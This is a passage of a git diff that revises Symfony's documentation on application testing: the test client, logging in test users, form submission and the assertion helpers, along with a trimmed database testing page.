+            $this->assertSelectorTextContains('h1', 'Hello World');
+        }
+    }
 
-Accessing the Container
-~~~~~~~~~~~~~~~~~~~~~~~
+In the above example, the test validates that the HTTP response was successful
+and the request body contains a ``<h1>`` tag with ``"Hello world"``.
 
-Functional tests should only test the response (e.g. its contents or its HTTP
-status code). However, in some rare circumstances you may need to access the
-container to use some service.
+The ``request()`` method also returns a crawler, which you can use to
+create more complex assertions in your tests::
 
-First, you can get the same container used in the application, which only
-includes the public services::
+    $crawler = $client->request('GET', '/post/hello-world');
 
-    public function testSomething()
-    {
-        $client = self::createClient();
-        $container = $client->getContainer();
-        // $someService = $container->get('the-service-ID');
+    // for instance, count the number of ``.comment`` elements on the page
+    $this->assertCount(4, $crawler->filter('.comment'));
 
-        // ...
-    }
+You can learn more about the crawler in :doc:`/testing/dom_crawler`.
 
-Symfony tests also have access to a special container that includes both the
-public services and the non-removed :ref:`private services <container-public>`
-services::
+.. _testing-applications-arrange:
 
-    public function testSomething()
-    {
-        // this call is needed; otherwise the container will be empty
-        self::bootKernel();
+Making Requests
+~~~~~~~~~~~~~~~
 
-        $container = self::$container;
-        // $someService = $container->get('the-service-ID');
+The test client simulates an HTTP client like a browser and makes requests
+into your Symfony application::
 
-        // ...
-    }
+    $crawler = $client->request('GET', '/post/hello-world');
 
-Finally, for the most rare edge-cases, Symfony includes a special container
-which provides access to all services, public and private. This special
-container is a service that can be get via the normal container::
+The ``request()`` method takes the HTTP method and a URL as arguments and
+returns a ``Crawler`` instance.
 
-    public function testSomething()
-    {
-        $client = self::createClient();
-        $normalContainer = $client->getContainer();
-        $specialContainer = $normalContainer->get('test.service_container');
+.. tip::
 
-        // $somePrivateService = $specialContainer->get('the-service-ID');
+    Hardcoding the request URLs is a best practice for application tests.
+    If the test generates URLs using the Symfony router, it won't detect
+    any change made to the application URLs which may impact the end users.
 
-        // ...
-    }
+The full signature of the ``request()`` method is::
+
+    request(
+        $method,
+        $uri,
+        array $parameters = [],
+        array $files = [],
+        array $server = [],
+        $content = null,
+        $changeHistory = true
+    )
+
+This allows you to create all types of requests you can think of:
+
+.. contents::
+    :local:
+    :depth: 1
 
 .. tip::
 
-    If the information you need to check is available from the profiler, use
-    it instead.
+    The test client is available as the ``test.client`` service in the
+    container in the ``test`` environment (or wherever the
+    :ref:`framework.test <reference-framework-test>` option is enabled).
+    This means you can override the service entirely if you need to.
+
+Browsing the Site
+.................
+
+The Client supports many operations that can be done in a real browser::
+
+    $client->back();
+    $client->forward();
+    $client->reload();
+
+    // clears all cookies and the history
+    $client->restart();
+
+.. note::
+
+    The ``back()`` and ``forward()`` methods skip the redirects that may have
+    occurred when requesting a URL, as normal browsers do.
+
+Redirecting
+...........
+
+When a request returns a redirect response, the client does not follow
+it automatically. You can examine the response and force a redirection
+afterwards with the ``followRedirect()`` method::
+
+    $crawler = $client->followRedirect();
+
+If you want the client to automatically follow all redirects, you can
+force them by calling the ``followRedirects()`` method before performing the request::
+
+    $client->followRedirects();
+
+If you pass ``false`` to the ``followRedirects()`` method, the redirects
+will no longer be followed::
+
+    $client->followRedirects(false);
 
 .. _testing_logging_in_users:
 
 Logging in Users (Authentication)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.................................
 
 .. versionadded:: 5.1
 
     The ``loginUser()`` method was introduced in Symfony 5.1.
 
-When you want to add functional tests for protected pages, you have to
+When you want to add application tests for protected pages, you have to
 first "login" as a user. Reproducing the actual steps - such as
 submitting a login form - make a test very slow. For this reason, Symfony
 provides a ``loginUser()`` method to simulate logging in in your functional
 tests.
 
-Instead of login in with real users, it's recommended to create a user only for
-tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`,
-to load the testing users only in the test database.
+Instead of logging in with real users, it's recommended to create a user
+only for tests. You can do that with `Doctrine data fixtures`_ to load the
+testing users only in the test database.
 
 After loading users in your database, use your user repository to fetch
 this user and use
@@ -622,7 +609,7 @@ to simulate a login request::
         public function testVisitingWhileLoggedIn()
         {
             $client = static::createClient();
-            $userRepository = static::$container->get(UserRepository::class);
+            $userRepository = static::getContainer()->get(UserRepository::class);
 
             // retrieve the test user
             $testUser = $userRepository->findOneByEmail('john.doe@example.com');
@@ -643,156 +630,115 @@ You can pass any
 :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
 stores in the session of the test client.
 
-Accessing the Profiler Data
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-On each request, you can enable the Symfony profiler to collect data about the
-internal handling of that request. For example, the profiler could be used to
-verify that a given page runs less than a certain number of database
-queries when loading.
-
-To get the Profiler for the last request, do the following::
+Making AJAX Requests
+....................
 
-    // enables the profiler for the very next request
-    $client->enableProfiler();
+The client provides an
+:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
+method, which has the same arguments as the ``request()`` method and is
+a shortcut to make AJAX requests::
 
-    $crawler = $client->request('GET', '/profiler');
-
-    // gets the profile
-    $profile = $client->getProfile();
-
-For specific details on using the profiler inside a test, see the
-:doc:`/testing/profiling` article.
+    // the required HTTP_X_REQUESTED_WITH header is added automatically
+    $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
 
-Redirecting
-~~~~~~~~~~~
+Sending Custom Headers
+......................
 
-When a request returns a redirect response, the client does not follow
-it automatically. You can examine the response and force a redirection
-afterwards with the ``followRedirect()`` method::
+If your application behaves according to some HTTP headers, pass them as the
+second argument of ``createClient()``::
 
-    $crawler = $client->followRedirect();
+    $client = static::createClient([], [
+        'HTTP_HOST'       => 'en.example.com',
+        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
+    ]);
 
-If you want the client to automatically follow all redirects, you can
-force them by calling the ``followRedirects()`` method before performing the request::
+You can also override HTTP headers on a per request basis::
 
-    $client->followRedirects();
+    $client->request('GET', '/', [], [], [
+        'HTTP_HOST'       => 'en.example.com',
+        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
+    ]);
 
-If you pass ``false`` to the ``followRedirects()`` method, the redirects
-will no longer be followed::
+.. caution::
 
-    $client->followRedirects(false);
+    The name of your custom headers must follow the syntax defined in the
+    `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
+    uppercase and prefix the result with ``HTTP_``. For example, if your
+    header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
 
 Reporting Exceptions
-~~~~~~~~~~~~~~~~~~~~
+....................
 
-Debugging exceptions in functional tests may be difficult because by default
+Debugging exceptions in application tests may be difficult because by default
 they are caught and you need to look at the logs to see which exception was
 thrown. Disabling catching of exceptions in the test client allows the exception
 to be reported by PHPUnit::
 
     $client->catchExceptions(false);
 
-.. index::
-   single: Tests; Crawler
-
-.. _testing-crawler:
-
-The Crawler
------------
-
-A Crawler instance is returned each time you make a request with the Client.
-It allows you to traverse HTML documents, select nodes, find links and forms.
-
-Traversing
-~~~~~~~~~~
-
-Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
-document. For example, the following finds all ``input[type=submit]`` elements,
-selects the last one on the page, and then selects its immediate parent element::
-
-    $newCrawler = $crawler->filter('input[type=submit]')
-        ->last()
-        ->parents()
-        ->first()
-    ;
-
-Many other methods are also available:
-
-``filter('h1.title')``
-    Nodes that match the CSS selector.
-``filterXpath('h1')``
-    Nodes that match the XPath expression.
-``eq(1)``
-    Node for the specified index.
-``first()``
-    First node.
-``last()``
-    Last node.
-``siblings()``
-    Siblings.
-``nextAll()``
-    All following siblings.
-``previousAll()``
-    All preceding siblings.
-``parents()``
-    Returns the parent nodes.
-``children()``
-    Returns children nodes.
-``reduce($lambda)``
-    Nodes for which the callable does not return false.
-
-Since each of these methods returns a new ``Crawler`` instance, you can
-narrow down your node selection by chaining the method calls::
-
-    $crawler
-        ->filter('h1')
-        ->reduce(function ($node, $i) {
-            if (!$node->attr('class')) {
-                return false;
-            }
-        })
-        ->first()
-    ;
+Accessing Internal Objects
+..........................
 
-.. tip::
+If you use the client to test your application, you might want to access the
+client's internal objects::
 
-    Use the ``count()`` function to get the number of nodes stored in a Crawler:
-    ``count($crawler)``
+    $history = $client->getHistory();
+    $cookieJar = $client->getCookieJar();
 
-Extracting Information
-~~~~~~~~~~~~~~~~~~~~~~
+You can also get the objects related to the latest request::
 
-The Crawler can extract information from the nodes::
+    // the HttpKernel request instance
+    $request = $client->getRequest();
 
-    use Symfony\Component\DomCrawler\Crawler;
-    
-    // returns the attribute value for the first node
-    $crawler->attr('class');
+    // the BrowserKit request instance
+    $request = $client->getInternalRequest();
 
-    // returns the node value for the first node
-    $crawler->text();
+    // the HttpKernel response instance
+    $response = $client->getResponse();
+
+    // the BrowserKit response instance
+    $response = $client->getInternalResponse();
+
+    // the Crawler instance
+    $crawler = $client->getCrawler();
+
+Accessing the Profiler Data
+...........................
+
+On each request, you can enable the Symfony profiler to collect data about the
+internal handling of that request. For example, the profiler could be used to
+verify that a given page runs less than a certain number of database
+queries when loading.
+
+To get the profiler for the last request, do the following::
+
+    // enables the profiler for the very next request
+    $client->enableProfiler();
+
+    $crawler = $client->request('GET', '/profiler');
+
+    // gets the profile
+    $profile = $client->getProfile();
+
+For specific details on using the profiler inside a test, see the
+:doc:`/testing/profiling` article.
+
+.. _testing-applications-act:
 
-    // returns the default text if the node does not exist
-    $crawler->text('Default text content');
+Interacting with the Response
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    // pass TRUE as the second argument of text() to remove all extra white spaces, including
-    // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
-    $crawler->text(null, true);
+Like a real browser, the Client and Crawler objects can be used to interact
+with the page you're served:
 
-    // extracts an array of attributes for all nodes
-    // (_text returns the node value)
-    // returns an array for each element in crawler,
-    // each with the value and href
-    $info = $crawler->extract(['_text', 'href']);
+.. contents::
+    :local:
+    :depth: 1
 
-    // executes a lambda for each node and return an array of results
-    $data = $crawler->each(function (Crawler $node, $i) {
-        return $node->attr('href');
-    });
+.. _testing-links:
 
-Links
-~~~~~
+Clicking on Links
+.................
 
 Use the ``clickLink()`` method to click on the first link that contains the
 given text (or the first clickable image with that ``alt`` attribute)::
@@ -804,16 +750,21 @@ given text (or the first clickable image with that ``alt`` attribute)::
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Link` object
 that provides helpful methods specific to links (such as ``getMethod()`` and
-``getUri()``), use the ``selectLink()`` method instead::
+``getUri()``), use the ``Crawler::selectLink()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');
 
     $link = $crawler->selectLink('Click here')->link();
+    // ...
+
+    // use click() if you want to click the selected link
     $client->click($link);
 
-Forms
-~~~~~
+.. _testing-forms:
+
+Submitting Forms
+................
 
 Use the ``submitForm()`` method to submit the form that contains the given button::
 
@@ -830,60 +781,48 @@ The second optional argument is used to override the default form field values.
 
 .. note::
 
-    Notice that you select form buttons and not forms as a form can have several
-    buttons; if you use the traversing API, keep in mind that you must look for a
+    Notice that you select form buttons and not forms, as a form can have several
+    buttons. If you use the traversing API, keep in mind that you must look for a
     button.
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Form` object
 that provides helpful methods specific to forms (such as ``getUri()``,
-``getValues()`` and ``getFields()``) use the ``selectButton()`` method instead::
+``getValues()`` and ``getFields()``) use the ``Crawler::selectButton()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');
 
+    // select the button
     $buttonCrawlerNode = $crawler->selectButton('submit');
 
-    // select the form that contains this button
+    // retrieve the Form object for the form belonging to this button
     $form = $buttonCrawlerNode->form();
 
-    // you can also pass an array of field values that overrides the default ones
-    $form = $buttonCrawlerNode->form([
-        'my_form[name]'    => 'Fabien',
-        'my_form[subject]' => 'Symfony rocks!',
-    ]);
-
-    // you can pass a second argument to override the form HTTP method
-    $form = $buttonCrawlerNode->form([], 'DELETE');
+    // set values on a form object
+    $form['my_form[name]'] = 'Fabien';
+    $form['my_form[subject]'] = 'Symfony rocks!';
 
     // submit the Form object
     $client->submit($form);
 
-The field values can also be passed as a second argument of the ``submit()``
-method::
-
+    // optionally, you can combine the last 2 steps by passing an array of
+    // field values while submitting the form:
     $client->submit($form, [
         'my_form[name]'    => 'Fabien',
         'my_form[subject]' => 'Symfony rocks!',
     ]);
 
-For more complex situations, use the ``Form`` instance as an array to set the
-value of each field individually::
-
-    // changes the value of a field
-    $form['my_form[name]'] = 'Fabien';
-    $form['my_form[subject]'] = 'Symfony rocks!';
-
-There is also a nice API to manipulate the values of the fields according to
-their type::
+Based on the form type, you can use different methods to fill in the
+input::
 
     // selects an option or a radio
-    $form['country']->select('France');
+    $form['my_form[country]']->select('France');
 
     // ticks a checkbox
-    $form['like_symfony']->tick();
+    $form['my_form[like_symfony]']->tick();
 
     // uploads a file
-    $form['photo']->upload('/path/to/lucas.jpg');
+    $form['my_form[photo]']->upload('/path/to/lucas.jpg');
 
     // In the case of a multiple file upload
     $form['my_form[field][0]']->upload('/path/to/lucas.jpg');
@@ -918,228 +857,165 @@ their type::
         $client->submit($form, [], ['HTTP_ACCEPT_LANGUAGE' => 'es']);
         $client->submitForm($button, [], 'POST', ['HTTP_ACCEPT_LANGUAGE' => 'es']);
 
-Adding and Removing Forms to a Collection
-.........................................
-
-If you use a :doc:`Collection of Forms </form/form_collections>`,
-you can't add fields to an existing form with
-``$form['task[tags][0][name]'] = 'foo';``. This results in an error
-``Unreachable field "…"`` because ``$form`` can only be used in order to
-set values of existing fields. In order to add new fields, you have to
-add the values to the raw data array::
-
-    // gets the form
-    $form = $crawler->filter('button')->form();
-
-    // gets the raw values
-    $values = $form->getPhpValues();
-
-    // adds fields to the raw values
-    $values['task']['tags'][0]['name'] = 'foo';
-    $values['task']['tags'][1]['name'] = 'bar';
-
-    // submits the form with the existing and new values
-    $crawler = $client->request($form->getMethod(), $form->getUri(), $values,
-        $form->getPhpFiles());
-
-    // the 2 tags have been added to the collection
-    $this->assertEquals(2, $crawler->filter('ul.tags > li')->count());
-
-Where ``task[tags][0][name]`` is the name of a field created
-with JavaScript.
-
-You can remove an existing field, e.g. a tag::
-
-    // gets the values of the form
-    $values = $form->getPhpValues();
-
-    // removes the first tag
-    unset($values['task']['tags'][0]);
+.. _testing-application-assertions:
 
-    // submits the data
-    $crawler = $client->request($form->getMethod(), $form->getUri(),
-        $values, $form->getPhpFiles());
-
-    // the tag has been removed
-    $this->assertEquals(0, $crawler->filter('ul.tags > li')->count());
-
-.. index::
-   pair: Tests; Configuration
-
-Testing Configuration
----------------------
-
-The Client used by functional tests creates a Kernel that runs in a special
-``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
-in the ``test`` environment, you can tweak any of your application's settings
-specifically for testing.
-
-For example, by default, the Swift Mailer is configured to *not* actually
-deliver emails in the ``test`` environment. You can see this under the ``swiftmailer``
-configuration option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-
-        # ...
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <!-- ... -->
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-
-        // ...
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => true,
-        ]);
-
-You can also use a different environment entirely, or override the default
-debug mode (``true``) by passing each as options to the ``createClient()``
-method::
-
-    $client = static::createClient([
-        'environment' => 'my_test_env',
-        'debug'       => false,
-    ]);
-
-Customizing Database URL / Environment Variables
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you need to customize some environment variables for your tests (e.g. the
-``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
-need in your ``.env.test`` file:
-
-.. code-block:: text
-
-    # .env.test
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test"
-
-    # use SQLITE
-    # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
-
-This file is automatically read in the ``test`` environment: any keys here override
-the defaults in ``.env``.
-
-.. caution::
-
-    Applications created before November 2018 had a slightly different system,
-    involving a ``.env.dist`` file. For information about upgrading, see:
-    :doc:`configuration/dot-env-changes`.
-
-Sending Custom Headers
-~~~~~~~~~~~~~~~~~~~~~~
-
-If your application behaves according to some HTTP headers, pass them as the
-second argument of ``createClient()``::
-
-    $client = static::createClient([], [
-        'HTTP_HOST'       => 'en.example.com',
-        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
-    ]);
-
-You can also override HTTP headers on a per request basis::
-
-    $client->request('GET', '/', [], [], [
-        'HTTP_HOST'       => 'en.example.com',
-        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
-    ]);
-
-.. tip::
-
-    The test client is available as a service in the container in the ``test``
-    environment (or wherever the :ref:`framework.test <reference-framework-test>`
-    option is enabled). This means you can override the service entirely
-    if you need to.
-
-.. index::
-   pair: PHPUnit; Configuration
-
-PHPUnit Configuration
-~~~~~~~~~~~~~~~~~~~~~
-
-Each application has its own PHPUnit configuration, stored in the
-``phpunit.xml.dist`` file. You can edit this file to change the defaults or
-create a ``phpunit.xml`` file to set up a configuration for your local machine
-only.
-
-.. tip::
-
-    Store the ``phpunit.xml.dist`` file in your code repository and ignore
-    the ``phpunit.xml`` file.
-
-By default, only the tests stored in ``tests/`` are run via the ``phpunit`` command,
-as configured in the ``phpunit.xml.dist`` file:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <testsuites>
-            <testsuite name="Project Test Suite">
-                <directory>tests</directory>
-            </testsuite>
-        </testsuites>
-        <!-- ... -->
-    </phpunit>
-
-But you can add more directories. For instance, the following
-configuration adds tests from a custom ``lib/tests`` directory:
-
-.. code-block:: xml
+Testing the Response (Assertions)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <testsuites>
-            <testsuite name="Project Test Suite">
-                <!-- ... --->
-                <directory>lib/tests</directory>
-            </testsuite>
-        </testsuites>
-        <!-- ... -->
-    </phpunit>
+Now that the tests have visited a page and interacted with it (e.g. filled
+in a form), it is time to verify that the expected output is shown.
+
+As all tests are based on PHPUnit, you can use any `PHPUnit Assertion`_ in
+your tests. Combined with test Client and the Crawler, this allows you to
+check anything you want.
+
+However, Symfony provides useful shortcut methods for the most common cases:
+
+.. contents::
+    :local:
+    :depth: 1
+
+Response Assertions
+...................
+
+``assertResponseIsSuccessful(string $message = '')``
+    Asserts that the response was successful (HTTP status is 2xx).
+``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
+    Asserts a specific HTTP status code.
+``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')``
+    Asserts the response is a redirect response (optionally, you can check
+    the target location and status code).
+``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
+    Asserts the given header is (not) available on the response.
+``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
+    Asserts the given header does (not) contain the expected value on the
+    response.
+``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie is present in the response (optionally
+    checking for a specific cookie path or domain).
+``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie is present and set to the expected value.
+``assertResponseFormatSame(?string $expectedFormat, string $message = '')``
+    Asserts the response format returned by the
+    :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
+    is the same as the expected value.
+``assertResponseIsUnprocessable(string $message = '')`` 
+    Asserts the response is unprocessable (HTTP status is 422)
+
+.. versionadded:: 5.3
+
+    The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
+    
+.. versionadded:: 5.4
+
+    The ``assertResponseIsUnprocessable()`` method was introduced in Symfony 5.4.   
+
+Request Assertions
+..................
+
+``assertRequestAttributeValueSame(string $name, string $expectedValue, string $message = '')``
+    Asserts the given :ref:`request attribute <component-foundation-attributes>`
+    is set to the expected value.
+``assertRouteSame($expectedRoute, array $parameters = [], string $message = '')``
+    Asserts the request matched the given route and optionally route parameters.
+
+Browser Assertions
+..................
+
+``assertBrowserHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+    Asserts that the test Client does (not) have the given cookie set
+    (meaning, the cookie was set by any response in the test).
+``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie in the test Client is set to the expected
+    value.
+``assertThatForClient(Constraint $constraint, string $message = '')``
+    Asserts the given Constraint in the Client. Useful to use your custom asserts
+    in the same way of built-in asserts (i.e. without passing the Client as argument)::
+
+        // add this method in some custom class imported in your tests
+        protected static function assertMyOwnCustomAssert(): void
+        {
+            self::assertThatForClient(new SomeCustomConstraint());
+        }
 
-To include other directories in the code coverage, also edit the ``<filter>``
-section:
+.. versionadded:: 5.4
+
+    The ``assertThatForClient()`` method was introduced in Symfony 5.4.
+
+Crawler Assertions
+..................
+
+``assertSelectorExists(string $selector, string $message = '')``/``assertSelectorNotExists(string $selector, string $message = '')``
+    Asserts that the given selector does (not) match at least one element
+    in the response.
+``assertSelectorTextContains(string $selector, string $text, string $message = '')``/``assertSelectorTextNotContains(string $selector, string $text, string $message = '')``
+    Asserts that the first element matching the given selector does (not)
+    contain the expected text.
+``assertSelectorTextSame(string $selector, string $text, string $message = '')``
+    Asserts that the contents of the first element matching the given
+    selector does (not) equal the expected text.
+``assertPageTitleSame(string $expectedTitle, string $message = '')``
+    Asserts that the ``<title>`` element is equal to the given title.
+``assertPageTitleContains(string $expectedTitle, string $message = '')``
+    Asserts that the ``<title>`` element contains the given title.
+``assertInputValueSame(string $fieldName, string $expectedValue, string $message = '')``/``assertInputValueNotSame(string $fieldName, string $expectedValue, string $message = '')``
+    Asserts that value of the form input with the given name does (not)
+    equal the expected value.
+``assertCheckboxChecked(string $fieldName, string $message = '')``/``assertCheckboxNotChecked(string $fieldName, string $message = '')``
+    Asserts that the checkbox with the given name is (not) checked.
+``assertFormValue(string $formSelector, string $fieldName, string $value, string $message = '')``/``assertNoFormValue(string $formSelector, string $fieldName, string $message = '')``
+    Asserts that value of the field of the first form matching the given
+    selector does (not) equal the expected value.
+
+.. versionadded:: 5.2
+
+    The ``assertCheckboxChecked()``, ``assertCheckboxNotChecked()``,
+    ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced
+    in Symfony 5.2.
+
+Mailer Assertions
+.................
 
-.. code-block:: xml
+.. versionadded:: 5.1
 
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <filter>
-            <whitelist>
-                <!-- ... -->
-                <directory>lib</directory>
-                <exclude>
-                    <!-- ... -->
-                    <directory>lib/tests</directory>
-                </exclude>
-            </whitelist>
-        </filter>
-        <!-- ... -->
-    </phpunit>
+    Starting from Symfony 5.1, the following assertions no longer require to make
+    a request with the ``Client`` in a test case extending the ``WebTestCase`` class.
+
+``assertEmailCount(int $count, string $transport = null, string $message = '')``
+    Asserts that the expected number of emails was sent.
+``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')``
+    Asserts that the expected number of emails was queued (e.g. using the
+    Messenger component).
+``assertEmailIsQueued(MessageEvent $event, string $message = '')``/``assertEmailIsNotQueued(MessageEvent $event, string $message = '')``
+    Asserts that the given mailer event is (not) queued. Use
+    ``getMailerEvent(int $index = 0, string $transport = null)`` to
+    retrieve a mailer event by index.
+``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')``
+    Asserts that the given email has the expected number of attachments. Use
+    ``getMailerMessage(int $index = 0, string $transport = null)`` to
+    retrievea specific email by index.
+``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')``
+    Asserts that the text body of the given email does (not) contain the
+    expected text.
+``assertEmailHtmlBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailHtmlBodyNotContains(RawMessage $email, string $text, string $message = '')``
+    Asserts that the HTML body of the given email does (not) contain the
+    expected text.
+``assertEmailHasHeader(RawMessage $email, string $headerName, string $message = '')``/``assertEmailNotHasHeader(RawMessage $email, string $headerName, string $message = '')``
+    Asserts that the given email does (not) have the expected header set.
+``assertEmailHeaderSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``/``assertEmailHeaderNotSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``
+    Asserts that the given email does (not) have the expected header set to
+    the expected value.
+``assertEmailAddressContains(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``
+    Asserts that the given address header equals the expected e-mail
+    address. This assertion normalizes addresses like ``Jane Smith
+    <jane@example.com>`` into ``jane@example.com``.
+
+.. TODO
+..  End to End Tests (E2E)
+..  ----------------------
+..  * panther
+..  * testing javascript
+..  * UX or form collections as example?
 
 Learn more
 ----------
@@ -1154,8 +1030,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
-.. _`PHPUnit Bridge component`: https://symfony.com/components/PHPUnit%20Bridge
+.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
-.. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
-.. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers
-.. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
+.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
+.. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
+.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
+.. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
+.. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index bdd7448a519..7acdd6e78cc 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -26,7 +26,7 @@ before running the tests:
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit
         bootstrap="tests/bootstrap.php"
     >
@@ -39,7 +39,7 @@ cache to be cleared:
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit>
         <!-- ... -->
 
diff --git a/testing/database.rst b/testing/database.rst
index 5720125ca53..0bd0d03af62 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -1,123 +1,14 @@
 .. index::
    single: Tests; Database
 
-How to Test Code that Interacts with the Database
-=================================================
+How to Test A Doctrine Repository
+=================================
 
-Configuring a Database for Tests
---------------------------------
+.. seealso::
 
-Tests that interact with the database should use their own separate database to
-not mess with the databases used in the other :ref:`configuration environments <configuration-environments>`.
-To do that, edit or create the ``.env.test.local`` file at the root directory of
-your project and define the new value for the ``DATABASE_URL`` env var:
-
-.. code-block:: bash
-
-    # .env.test.local
-    DATABASE_URL=mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7
-
-.. tip::
-
-    A common practice is to append the ``_test`` suffix to the original database
-    names in tests. If the database name in production is called ``project_acme``
-    the name of the testing database could be ``project_acme_test``.
-
-The above assumes that each developer/machine uses a different database for the
-tests. If the entire team uses the same settings for tests, edit or create the
-``.env.test`` file instead and commit it to the shared repository. Learn more
-about :ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
-
-Resetting the Database Automatically Before each Test
------------------------------------------------------
-
-Tests should be independent from each other to avoid side effects. For example,
-if some test modifies the database (by adding or removing an entity) it could
-change the results of other tests. Run the following command to install a bundle
-that ensures that each test is run with the same unmodified database:
-
-.. code-block:: terminal
-
-    $ composer require --dev dama/doctrine-test-bundle
-
-Now, enable it as a PHPUnit extension or listener:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-
-        <!-- Add this for PHPUnit 7.5 or higher -->
-        <extensions>
-            <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/>
-        </extensions>
-
-        <!-- Add this for PHPUnit 7.0 until 7.4 -->
-        <listeners>
-            <listener class="\DAMA\DoctrineTestBundle\PHPUnit\PHPUnitListener"/>
-        </listeners>
-    </phpunit>
-
-This bundle uses a clever trick to avoid side effects without sacrificing
